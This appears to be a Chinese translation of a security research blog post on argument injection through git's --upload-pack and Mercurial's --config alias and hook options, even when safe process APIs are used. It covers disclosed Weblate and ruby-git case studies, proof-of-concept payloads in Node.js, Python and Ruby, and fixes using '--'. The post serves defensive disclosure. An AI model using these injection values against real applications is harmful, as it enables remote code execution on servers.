这项研究的主要目标之一是探索即使在使用防止命令注入的安全API时,如何有可能执行任意命令。重点是版本控制系统(VCS)工具,如git
和hg
(mercurial),在它们的一些选项中,允许执行任意命令(在某些情况下)。
本研究的目标是使用安全的API调用这些命令的网络应用程序和库项目(用任何编程语言编写)。我们的目标不是CLI项目,也不是那些通过使用来自存储源(如配置文件)的数据来调用这些命令的项目。
在这篇博文中,我们旨在展示一些常见的场景,即使使用安全的API,也有可能通过注入参数选项执行任意命令。我们还将为开源维护者提供补救的例子和建议。
参数注入背景
考虑以下情况:一个开发者想从他们的项目目录中调用git
或hg
命令,以便与资源库进行交互。然而,用户控制的值被用作这些命令的参数(允许用户指定资源库的网址、分支名称等)。由于开发者意识到了命令注入的漏洞,他们决定使用安全的API来执行shell命令。例如,如果项目是在Node.js中,来自child_process
模块的spawn
API在以下列方式调用时可以防止命令注入。
spawn([“command”, “-option1”, user_input, user_input’)
然而,情况并非总是如此。正如我们很快会看到的,这也取决于这些API所调用的命令。
我们为什么要关心git?
在一些git子命令中,有一些选项允许用户指定哪些程序/命令将被执行。一个例子是--upload-pack
,该选项可用于以下git子命令。
让我们举个例子,git fetch
,ls-remote
和pull
子命令,它们实现了--upload-pack
选项。
根据不同的命令,它们有一些必要的参数,后面是可选的参数。例如,git fetch
至少需要一个参数,即一个存储库,然后是refspec
和一组选项。
在终端上运行以下命令将执行shell命令touch HELLO
。
git ls-remote --upload-pack="touch HELLO1" master
git fetch origin --upload-pack="touch HELLO2" // git init first or in a git project
git pull origin --upload-pack="touch HELLO3" // git init first or in a git project
使用 "git "的脆弱代码是什么样子的?
为了演示这个漏洞,我将使用Javascript和Python。为了使例子简短,我们假设url
和branch
的值是由用户控制的,没有经过适当的消毒。
下面的例子展示了运行任意代码的可能性,即使是在使用安全的API来保护经典的命令注入时也是如此。
JavaScript (NodeJS)
const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", url, branch])
cp.spawn("git", ["ls-remote", "& touch NOT_WORKING;", "foo"])
最后一行演示了普通的命令注入有效载荷(即带有特殊字符的有效载荷,如;& | ,等,以连锁命令)不起作用。
Python
import subprocess
url = "--upload-pack=touch HELLO_PY"
branch = "foo"
subprocess.Popen(["git", "ls-remote", url, branch], shell=False)
需要注意的是,如果提供了相应的git子命令所需的参数,上述情况可以导致命令的执行。例如,如果只向git ls-remote
子命令提供了一个参数,而没有其他参数,那么前面的场景就不会起作用。
JavaScript (NodeJS)
const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
cp.spawn("git", ["ls-remote", url])
// fatal: No remote configured to list refs from.
这是因为提供的唯一参数将被解释为一个仓库(在git ls-remote
的情况下)。如果该命令被赋予另一个有效的参数,我们就处于前面的情况,仍然可以执行代码。
补救建议
对于前面的情况,一个可能的解决方案是在用户控制的值之前添加--
。正如官方文档所解释的,"当编写一个预计会处理随机用户输入的脚本时,通过在适当的地方放置歧义--来明确哪些参数是哪些参数,是一个很好的做法"。
例如,下面的代码就不会再导致命令的执行。
const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", "--", url, branch])
// fatal: strange pathname '--upload-pack=touch HELLO_JS' blocked
我们为什么要关心hg(mercurial)?
正如我们在上一节所看到的,为了执行任意的命令,需要满足一些条件(即必要的参数)。然而,对于hg
,情况并非如此--这使得利用更加容易。
在几个可用的选项中,mercurial允许用户通过使用–config
选项为每个命令(clone
,init
,log
, 等等...)指定aliases
和hooks
。
正如mercurial文档所解释的,别名 "允许你用其他命令(或别名)来定义你自己的命令,可以选择包括参数。 一个别名可以以感叹号("!")开头,使其成为一个shell别名。 一个shell别名可以和shell一起执行,允许你运行任意的命令,例如。
echo = !echo $@
将让你做"hg echo foo"
,让"foo"
打印在你的终端上"。
另一方面,钩子是 "命令或Python函数,通过各种动作自动执行,如开始或结束提交"。它们是一旦满足某些条件就会执行的命令,可以在其他mercurial命令之前(pre-<command>
)或之后(post-<command>
)执行。
在使用 "hg init "时,脆弱的代码是什么样子的?
让我们看一个例子,当调用hg init
命令时,如果用户的输入没有经过消毒,就有可能执行任意的命令。
别名的例子
hg init -config=alias.init="!touch HELLO"
touch HELLO
命令将被执行。这是因为定义了一个init
命令的别名,并代替hg init
命令被执行。
从代码中执行的相同命令将看起来像下面这样(和以前一样,让我们假设source
是由用户控制的,并且没有经过适当的消毒)。
JavaScript (NodeJS)。
const cp = require("child_process")
source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python
import subprocess
source = "--config=alias.init=!touch HELLO_PY"
subprocess.call(["hg", "init", source])
钩子示例
hg init -config=hooks.pre-init="touch HELLO"
touch HELLO
命令将在(即pre-<command>
选项)init
命令执行之前被执行。
从代码中执行的相同命令将看起来像下面这样。
JavaScript (NodeJS)。
const cp = require("child_process")
source = "--config=hooks.pre-init=touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python
import subprocess
source = "--config=hooks.pre-init=touch HELLO_PY"
subprocess.call(["hg", "init", source])
与git的情况不同,为了执行任意的命令,我们只需要控制提供给mercurial命令的一个参数--即使它是唯一被使用的参数。
补救建议
再一次,我们可以通过在用户控制的参数前添加--
字符来解决这个问题。
例如,下面的漏洞将不再起作用--它将创建一个名称与source
变量内容相同的版本库文件夹。
const cp = require("child_process")
source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", "--", source])
结果
类似的问题在过去已经被利用过了。一些著名的例子是对CocoaPods Trunk和Phabricator的远程代码执行攻击。
下表总结了我们在这项研究中发现和披露的问题。
在发现这些漏洞后,我们按照我们的漏洞披露政策,私下向维护者报告了这些漏洞。我想亲自感谢我联系的所有维护者,感谢他们的时间和合作。
在下面的案例研究中,我们将解释如何在这些热门项目中执行远程代码执行和命令注入。
案例研究。在Weblate上执行远程代码
Weblate是一个 "基于网络的本地化工具,与版本控制紧密结合"。一个经过验证的用户能够通过参数注入获得远程代码执行。
在添加新的翻译组件和使用mercurial仓库时,用户输入的branch
,在没有任何适当消毒的情况下被用于hg pull
命令。
负责用用户控制的值调用hg pull
命令的相关代码是。
# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/mercurial.py#L364-L367
def update_remote(self):
"""Update remote repository."""
self.execute(["pull", "--branch", self.branch])
self.clean_revision_cache()
# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L230
def execute(
self,
args: List[str],
...
):
...
try:
self.last_output = self._popen( # <---
args, #<---
self.path,
...
)
...
return self.last_output
# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L191
@classmethod
def _popen(
cls,
args: List[str],
....
):
"""Execute the command using popen."""
if args is None:
raise RepositoryException(0, "Not supported functionality")
if not fullcmd:
args = [cls._cmd] + list(args)
...
process = subprocess.run(
args, # <---
...
)
...
return process.stdout
概念证明
为了执行任意的命令,用户必须在翻译项目中创建一个新的翻译组件,Repository分支值等于--config=alias.pull=!id>/app/cache/static/output_rce1.txt
。在这种情况下,id
命令将被执行,并被重定向到一个可以访问的页面,https://localhost:8888/static/output_rce1.txt。
- 登录到应用程序。
- 添加一个新的翻译项目,然后点击保存。
- 添加一个新的翻译组件(到刚刚创建的翻译项目中),在资源库分支字段中添加有效载荷
--config=alias.pull=!id>/app/cache/static/output_rce1.txt
,然后点击继续。
补救措施
正如你所看到的,有可能实现RCE,同时也处理了git仓库。在这种情况下,未经消毒的用户输入repo
,被传递给git ls-remote
命令。
这两个问题都被维护者在4.11.1
(参考Github Release)版本中及时修复。修正后的版本(mercurial和git案例)在用户输入前添加了--
,以防止其被解释为参数。
案例研究:ruby-git中的命令注入
Ruby git是一个 "可用于创建、读取和操作Git仓库的库,通过包装系统对git二进制的调用"。
当调用fetch(remote = 'origin', opts = {})
函数时,remote
参数被传递给git fetch
子命令,没有经过任何消毒处理。正如我们之前看到的,git fetch
是接受--upload-pack
参数的git
子命令之一。
负责用用户控制的值调用git fetch
命令的相关代码是。
# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/base.rb#L339-L341
def fetch(remote = 'origin', opts={})
self.lib.fetch(remote, opts) # <---
end
# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L879
def fetch(remote, opts)
arr_opts = [remote]
arr_opts << opts[:ref] if opts[:ref]
...
command('fetch', arr_opts) # <---
end
# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1075
def command(cmd, *opts, &block)
...
with_custom_env_variables do
command_thread = Thread.new do
output = run_command(git_cmd, &block) # <---
exitstatus = $?.exitstatus
end
command_thread.join
end
# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1179
def run_command(git_cmd, &block)
return IO.popen(git_cmd, &block) if block_given? # <---
`#{git_cmd}`.lines.map { |l| Git::EncodingUtils.normalize_encoding(l) }.join
end
概念验证
下面的PoC展示了如何执行任意命令的可能性。
require "git"
g = Git.init('project')
origin = "--upload-pack=touch ./HELLO1;"
g.fetch(origin, {:ref => 'some/ref/head'} )
# ls -la
补救措施
该问题已由维护者在1.11.0
(GitHub发布)版本中修复。与之前的问题一样,修复后的版本在用户控制值前引入了--
字符。
经验之谈
...对于开发者来说
当使用安全的API调用命令时--防止命令注入并接受用户控制的值--必须确保用户提供的值不会通过注入/操纵一些命令选项来改变命令的行为。为了避免这种混淆,可以用--
字符来分隔参数和用户控制的值。
...给维护者的建议
如果一个函数/API封装了对接受用户控制值的命令的调用,那么这种行为可能值得记录下来,以避免混淆用户,因为他们看到维护者处理了一些消毒问题(比如通过使用安全的API防止命令注入),但没有处理其他问题(比如当输入可以作为一个危险的选项导致意外行为)。
...对于安全研究人员
我们把注意力集中在git
和hg
命令上,但还有许多其他类似的行为。值得一提的是,即使使用防止命令注入的安全API,仍然会导致安全问题。这完全取决于正在执行的命令。如果你在我们程序支持的开源项目中发现类似的问题(或任何其他安全漏洞)。